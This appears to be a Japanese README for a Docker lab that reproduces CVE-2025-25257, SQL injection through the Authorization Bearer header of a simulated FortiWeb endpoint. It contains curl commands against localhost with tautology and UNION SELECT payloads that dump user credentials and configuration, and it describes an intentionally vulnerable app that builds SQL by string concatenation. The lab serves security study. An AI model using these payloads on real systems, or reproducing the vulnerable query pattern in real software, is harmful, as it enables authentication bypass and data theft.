
CVE-2025-25257 の再現可能なDockerラボ。シミュレートされたFortiWebエンドポイント上でHTTP Authorizationヘッダーを介したSQLインジェクションのバイパスとデータ流出を実証します。
実験アーキテクチャ (環境はFortiWebの脆弱なコンポーネントをシミュレートします)
脆弱なエンドポイント : /api/system/fabric/config
インジェクションベクター : HTTP Authorization: Bearer ヘッダー
メカニズム : 直接SQL連結 (Pythonのf-string)
認証 : なし (完全バイパス)
データベース : SQLite (デモ用)
cve-2025-25257
├── Dockerfile
├── docker-compose.yml
├── requirements.txt
├── app.py
├── init_db.py
├── payload.txt
└── README.md
Dockerfile : 意図的に脆弱なHTTPサービス / 認証なしで悪用可能なAPIを公開
docker-compose.yml : 再現可能な脆弱なサービスをオーケストレーション / HTTP経由で攻撃可能なAPIを公開 / 実験環境を隔離
requirements.txt : 安定して再現可能な環境を保証
app.py : 事前認証エンドポイントを実装 / Authorizationを介してユーザー入力を受け入れる / その入力をSQLクエリに連結 / 認証バイパスとデータ抽出を可能にする
init_db.py : 悪用可能なデータセットを準備 / 認証バイパスとデータの外部流出の明確なデモを可能にする
payload.txt : 制御された観測可能なコード実行の最小限の証明を提供
docker-compose build
docker-compose up -d
docker-compose ps
docker-compose logs -f
curl -X POST http://localhost:8080/api/system/fabric/config
-H "Content-Type: application/json"
-H "Authorization: Bearer valid_token_001"
curl -X POST http://localhost:8080/api/system/fabric/config
-H "Content-Type: application/json"
-H "Authorization: Bearer ' OR '1'='1"
curl -X POST http://localhost:8080/api/system/fabric/config
-H "Content-Type: application/json"
-H "Authorization: Bearer ' UNION SELECT id, username, password, role, email, NULL FROM users--"
curl -X POST http://localhost:8080/api/system/fabric/config
-H "Content-Type: application/json"
-H "Authorization: Bearer ' UNION SELECT id, key, value, description, '2025-01-01',NULL FROM system_config--"
docker-compose down
docker-compose down -v
docker rmi cve-2025-25257-lab-fortiweb-vulnerable:latest